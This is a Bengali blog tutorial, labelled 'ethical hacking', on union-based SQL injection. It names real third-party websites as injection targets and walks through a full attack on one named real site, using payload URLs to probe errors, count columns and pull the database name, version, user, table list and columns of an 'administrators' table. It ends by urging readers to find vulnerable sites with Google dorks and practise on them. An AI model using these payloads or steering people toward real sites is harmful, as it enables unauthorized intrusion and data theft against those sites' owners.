[Ethical Hacking]-Sqli Injection-Bangla Ethical Hacking Tutarial.

প্রথমেই SQLi করার জন্য আমাদের যে কোন সাইটের  vulnerable point বা  injection point লাগবে । URL এর শেষে যে .php?id=3 বা  কোন  parameter থাকে ওইটাতে injection করতে হবে । এখন দেখার হচ্ছে, এটা কত রকমে থাকে , এবং পাবো কিভাবে ।
যেভাবে পাবো,
বিভিন্ন  Dork ব্যাবহার করে, অথবা সাইটে visit করে । ( dork গুলো https://www.exploit-db.com/google-hacking-database/ এই সাইট থেকে পাবেন)

আমি সব সময় একটা dork use করি ।

inurl:.php?id= site:www.demo.com
or inurl:www.demo.com  id=

৭০% সময় আপনার কাজ হবে বাকি সময় যখন POST data থাকে তখন অন্য সিস্টেম করতে হবে । আরও অনেক DORK  আছে, সেগুলো শুধু কপি করে google.com এ গিয়ে সার্চ করবেন ।
তাতেই আপনাকে অনেক গুলো সাইটের , ইনজেকশন পয়েন্ট সহ লিঙ্ক দিয়ে দিবে google, তবে মনে রাখবেন সব সাইটেই যে ইনজেকশন হবেই তেমন না ।

এবারে URL এর শেষে .php?id= এইটা কত রকমের হতে পারে তার কিছু নমুনা নিচে দিয়ে দিয়েছি,
যা যা রকমে এটা থাকে,
.php?id=45
.php?id=result
.php?rsult=student
.php?catid=3
.php?p=4
.php?id=Mw==     //(base64)
যেমন,
http://christukula.co.in/event.php?id=78
http://www.orascomci.com/index.php?id=talentprogram
http://www.sherrihill.com/content.php?id=registration
http://www.sciencedomain.org/page.php?id=reviewers-editors
http://www.esuprobhat.com/index.php?page=1&date=2015-03-14
http://www.aksimgroup.com/pDetails.php?pid=68
Etc

কোন সাইট SQLi vulnerable কি না এটা জানতে, তার parameter এর শেষ এ (এখানে  parameter value 34  যেহেতু id=34) Special Character দিতে হয় । তাহলে এই  34 এর  শেষে  Special Character দিতে হবে,
যেমন , http://www.bible-history.com/subcat.php?id=2
এই  Special Character বিভিন্ন ভাবে দিয়ে, আমরা দেখতে পারি যে, সাইট টি vulnerable কি না ।
Special Character দেয়ার পর যদি, কোন error দেয় তবে মনে করবেন  site vulnerable , error বিভিন্ন রকমে দিতে পারে।বেশির ভাগই লেখা আসে যে ,

[1]
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

or

[2]
(Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\Inetpub\vhosts\jayapriya.com\httpdocs\gallery.php on line 11)

আবার অনেক ক্ষেত্রে সাইটে পরিবর্তন আসে , যেমন কোন ছবি নাই হয়ে যায়, বা পেজ ছোট হয়ে যায় , বা সাইট এর যে কোন পরিবর্তন হয় তবে সাইট তাকে  vulnerable বলতে পারি । অদ্য কথা হচ্ছে  Special Character দেয়ার পরে যদি সাইটে কোন রকম পরিবর্তন আসে তবে  sqli হতে পারে ।

Special character এর ধরনঃ
যেমন ,
‘,    ”   ,   )  , ‘))  , “)   ,”))    ,’)   ,’))  ***\  etc
http://eyot.co.in/product.php?id=37
http://eyot.co.in/product.php?id=37‘)
http://eyot.co.in/product.php?id=37‘))
http://eyot.co.in/product.php?id=37
http://eyot.co.in/product.php?id=37“)
http://eyot.co.in/product.php?id=37“))

এবার আমরা sql injection এর জন্য একটি ওয়েব সাইট নিলাম

আমাদের টার্গেট ওয়েব সাইটঃ http://www.bible-history.com/subcat.php?id=2

প্রথম এ ফায়ারফক্স এ hack bar নামে একটা addons আছে ওইটা ইন্সটল করে নিব । এর পর hack bar এ টার্গেট url add করে কাজ শুরু করবো।

hack bar shortcut execute key হল Alt+x


http://www.bible-history.com/subcat.php?id=2‘ (error)

কেন error show করে ? এর কারন হল single quotes একটা mysql syntax
( এখানে single quote এর পরিবর্তে আরো অন্যান্য special character ও হতে পারে, যেমনঃ ) , “ , )) ,’) , \  etc

আপনি বাহিরে থেকে নতুন একটা syntax query তে ইনপুট করলেন এই করনে mysql syntax error show করে।
আমরা যদি database এর query এর কথা চিন্তা করি তবে query টা এমন হবে

Code:

$sql = “SELECT * FROM users(Table এর নাম) WHERE id =’$id’ limit 0,1 “; 

আমাদের টার্গেট ওয়েব সাইট এ id=2
মানে query টা হবে

Code:

$sql = “SELECT * FROM users WHERE id =’2′ limit 0,1 “;

এখন যদি আপনি নতুন একটা single quotes দেন তবে query টা এমন হবে

Code:


$sql = “SELECT * FROM users(Table
এর নাম) WHERE id =’2” limit 0,1 “;
ভালো করে দেখেন যে id=’2” এখানে ৩ টা quotes আসে আর আমরা জানি quotes,bracket,html tag peer(২ টা ) আকারে হয় (মানে শুরু করলে শেষ করতে হবে)
এখনে ৩ টা quotes একটার কোন শেষ নাই এর জন্য database আপনাকে error show করছে।

এর পরবর্তী কাজ হচ্ছে এটাকে fix করা ,কারন আমি একটা সমসস্যা তৈরি করে এটাকে fix করে দিলাম । তাতে যা  সুবিধা  হবে তা হচ্ছে, এই  fix এর পরে  ওই  query যা আছে তা  এর  execute হবে না , বা সাইত এ  fixed query এর পরে কি আছে না আছে  তা  নিয়ে আর মাথা ঘামাবে না ।

যাহোক,   চলুন দেখে নেয়া যাক Error Fixing System ,

special character এর  পরে একটি  space দিয়ে তারপর যা যা দেয়া লাগবে Error Fix করার জন্য ,
–+, #,%23,– -,–space, ; , %60

কখনো আবার fix করার জন্য special character তুলে দিয়ে করতে হবে । এটা site দেখে করতে হয় ।
যেমন ,
http://www.bible-history.com/subcat.php?id=2‘ –+
http://www.bible-history.com/subcat.php?id=2 –+ (removed special charecter) এটা প্রত্যেকটার ক্ষেত্রেই হতে পারে।
http://www.bible-history.com/subcat.php?id=2 %23

http://www.bible-history.com/subcat.php?id=2‘) –+ / # / %23 /  / — -/ ; এমন অনেক সাইট থাকতে পারে

আমাদের টার্গেট সাইট  এ (– -)  fixed হয়ে গেছে।

Code:

http://www.bible-history.com/subcat.php?id=2 — – no error

(error নাই মানে query fix)

query fix বা balance হয়ে যাবার পর আপনি parameter ও fixing এর মধ্যে যে query লিখবেন ওই query run হবে ।
http://www.bible-history.com/subcat.php?id=2 (এখানে সব query লিখতে হবে ) — –
আমাদের প্রথম কাজ শেষ এখন ২য় কাজ হল column count করা।
টেবিল এর columns count করার জন্য order by বা group by ব্যবহার করতে হয়। আরও একটা সিস্টেম আছে অন্য একদিন দেখাবো। তাবে সব সময় group by ব্যবহার করা ভালো । কেন ভালো এইটা আপনি sqli করতে করতে নিজেই বোঝতে পারবেন । যেহেতু আমরা জানিনা যে কইটা column আছে তাই (brute force attack) এর মত করে column বসাতে থাকবো । আমাদের টার্গেট url এ group by 10 দিলাম।

Code:

http://www.bible-history.com/subcat.php?id=2 group by 10 — –

নতুন একটা error show করছে

Query failed : Unknown column ’10’ in ‘group statement’ এর মানে হল এখানে ১০ টা columns নাই তাই এই error show করছে। এখন ১০ এর নিচে দিবো ।

Code:

http://www.bible-history.com/subcat.php?id=2 group by 5 — –

Query failed : Unknown column ‘5’ in ‘group statement’ মানে টা column ও নাই

Code:

http://www.bible-history.com/subcat.php?id=2 group by 2 — –

Query failed : Unknown column ‘2’ in ‘group statement’
মানে 2 টা column ও নাই

Code:

http://www.bible-history.com/subcat.php?id=2 group by 1– –

কোন error নাই

মানে এখানে only একটা column আছে ।

[ বিশেষ দ্রষ্টব্য : যদি দেখেন আপনার  order by 1 error থাকে , কিংবা  order by 1,2,3,4,5,6,7.************************.100.******************
(
মানে  unlimited )   এতেও  error আসে না ********* তবে বুঝে নিতে হবে  আপনার Error fix হয়  নাই ]

এখন ১ টা column এর জন্য
union select 1 দিব যদি আরও বেশি columns হয় তবে union select 1,2,3,4 এমন করে যত column হবে সব দিতে হবে।
union select সহ আমাদের টার্গেট url

Code:

http://www.bible-history.com/subcat.php?id=2 union select 1 — –

union select 1 দেয়ার পর ওয়েব পেজ এ 1 দেখা যায় । অনেক সময় শুধু union select 1 দিলে কোন কিছু দেখা যাবে না(মানে ওয়েব পেজ যা ছিল তাই থাকে) এর জন্য id বা যে কোন parameter এর condition null,false বা এমন একটা সংখ্যা দিতে হবে যা database এ নাই (যেহেতু আমরা জানিনা যে database এ কি পরিমান ডাটা আছে সেহেতু এইটা use না করা ভাল) তাই সব সময় condition null বা false করব। সব থেকেভালো উপায় হলো id বা parameter কে negative value করে দেয়া ।
যেমন id=10

এইটা হবে id=-10 union select 1 — – (negative value)
অথবা id=10 and null union select 1 — – null value
অথবা id=10 and false union select 1 — – condition false
অথবা id=10 and 0 union select 1 — -(and 0 মানে false এর and 1 মানে true)
এইসব করার পর ওয়েব পেজ এ আপনার union select এর যা number আছে এর কিছু বা সব show করবে।
যেটা show করবে ওইটা হল vulnerable columns
এখন এই columns এ আপনের ইচ্ছা মত সব show করতে পারবেন।
যেমন,
নিজের নাম (‘Anonymous’)
Database() এর নাম |
version()
user()
table এর নাম |
table এ যত columns আছে সব column এর নাম |
আরও অনেক কিছু ।
এখন আমারা নিজের নাম show করব।

Code:

http://www.bible-history.com/subcat.php?id=2 union select Aonymous — –

but একটা error show করছে এর কারন হল plain text run করে নাই , তাই এই text কে string আকারে দিতে হবে ২ টা single quotes এর মধ্যে যা থাকে টা string
‘Anonymous’

Code:

http://www.bible-history.com/subcat.php?id=2 union select ‘Anonymous’ — –

অনেক সময় single quotes এর জন্য error হয় তাই নামটা কে hex করে দিবো ।
Anonymous এর হেক্স = 416e6f6e796d6f7573
hex value এর সাথে 0x যোগ করতে হয়।
0x416e6f6e796d6f7573

Code:

http://www.bible-history.com/subcat.php?id=2 union select 0x416e6f6e796d6f7573 — –

এখন দেখেন ১ এর জায়গায় Anonymous লেখা show করেছে ।
এখন এক এক করে সব show করব

Code:

http://www.bible-history.com/subcat.php?id=2 union select database() — –

database এর নামে show হল

Code:

http://www.bible-history.com/subcat.php?id=2 union select version() — –

এর ভার্সন নাম show হল

Code:

http://www.bible-history.com/subcat.php?id=2 union select user() — –

database user এর নাম
কিন্তু একটা প্রবলেম সব আলাদা আলাদা ভাবে শো হইছে কিন্তু এক সাথে শো করতে হবে এর জন্য একটা function use করবো, এর নাম concat()
concat() function এর কাজ হল সব এক সাথে যোগ করা

Code:

http://www.bible-history.com/subcat.php?id=2 union select concat(0x416e6f6e796d6f7573,database(),version(),user()) — –

এখন সব এক সাথে show করছে কিন্তু কোনটা কি ঠিক করে বোঝা যাচ্ছে না, তাই আমরা html tag use করবো
যেমনঃ – <br>
<br> এর ও হেক্স করতে হবে
<br> hex = 0x3c62723e

Code:

http://www.bible-history.com/subcat.php?id=2 union select concat(0x416e6f6e796d6f7573,0x3c62723e,database(),0x3c62723e,version(),0x3c62723e,user()) — –

এতক্ষন আমরা (নাম, database(),version(),user()) ইত্যাদি বের করা শিখেছি । এখন Table ও columns কিভাবে বের করতে হয় সেটা শিখবো ।

একটি ভুলনারেবল এস,কিউ,এল,আই সাইট হতে Table_name বের করতে হলে আমাদের যে জিনিস গুলো জানা থাকতে হবে সেটা হলোঃ

query টা ভাল করে দেখেন ।

id=2 div 0 UnIoN SeLect (table_name),4 from information_Schema.tables where table_Schema= database() limit 0,1 –+

1  নাম্বার column যদি  vulnerable হয়  তাবে ওইটার মধ্যে table এর  name show করবো।

১। table_name (মানে টেবিল এর নাম)
২। এবং কোথায় আছে সেটার লোকেশন জানতে আমরা ইউজ করবো from
৩। information_Schema(default database) এর কি লাগবে? table এর নাম মানে information_Schema.table এখন প্রবলেম হল information_Schema table এ তো অনেক টেবিল আসে কিন্তু আমার লাগবে  session database বা  default database এর  table তাই
where table_Schema=database() use করা হয়েছে ।

এখন একটা টেবিল দেখতে পাবেন । এখন limit change করে এক এক করে টেবিল দেখতে পাবেন কিন্তু এটা একটা প্রবলেম তাই সব এক সাথে show করতে group_COncat function use করবো। এই function সব টেবিল কে এক সাথে করে show করবে । তখন এর limit দিতে হবে না ।

id=2 div 0 UnIoN SeLect group_Concat(table_name) from information_Schema.tables where table_Schema= database()  –+

সব টেবিল এর মাঝে একটা space বা  bracket দিতে হবে তাহলে টেবিল ভাল করে দেখা যাবে

৫ ।  http://www.bible-history.com/subcat.php?id=2 div  0  UniOn SeLect 1,GrOuP_ConCat(database(),'<br> ‘,version(),'<br> ‘,User,'<br>’,GroUp_CoCat(Table_Name+'<br>’)),3,4 frOm InforMation_Schema.Tables Where Table_Schema=database() –+

সব টেবিল show হয়েছে ।

এবার চলুন দেখে নিয়া যাক কিভাবে এস,কিউ,এল ইন্জেকশন এর সাহায্য়ে ডাটাবেজ হতে Column_name বের করা যায় :
group_Concat(table_name) replaced করে  GrOup_COnCat(CoLumn_Name)
অর্থাৎ ,
group_Concat(table_name) মুছে দিয়ে group_Concat(COlumn_name) লিখতে হবে,

Information_Schema.tables replaced করে  information_Schema.columns

table_Schema=database() replaced করে  table_name=’যে কোন টেবিল এর নাম বা আপনি যে টেবিল এর column বের করতে চান ওইটা দিবেন ‘

মনে রাখতে হবে, টেবিল এর নামের দুপাশে Single quot দিতে হবে । অথবা এর  hex code দিতে হবে । মনে করি , আমরা যে টেবিল এর  columns  বের করতে চাচ্ছি , সেই table নাম, administrators
তাহলে ,
URL যা দাঁড়ালো ,
http://www.bible-history.com/subcat.php?id=2 UniOn SeLect GrOuP_ConCat(CoLumn_Name) frOm InforMation_Schema.CoLumns Where Table_Name=’administrators’ –+   //এখানে টেবিল এর নাম  administrators

এবার এই টেবিলের ভিতর যা যা কলাম ছিল সব show করেছে। অন্য কোনো টেবিল এর নাম দিয়েও আপানারা করে দেখতে পারেন। এর পরবর্তী কাজ হলো কলামের ভিতরের ডাটাগুলো বের করা । আপাদত এতটুকু খুব ভালো করে শিখে রাখুন। কাজে দিবে। আর প্র্যাক্টিস করতে হবে। নিজে নিজে ডর্ক দিয়ে কিছু সাইট বের করে চেষ্টা করে দেখুন। এতে আপনি পারেন বা না পারেন কোনো সমস্যা নাই। আপনার স্কিল এবং ধৈর্য কিছু হলেও বৃদ্ধি পাবে যা পরবর্তীতে কাজে লাগবে।

Loading

Comments

So empty here ... leave a comment!

Leave a Reply

Sidebar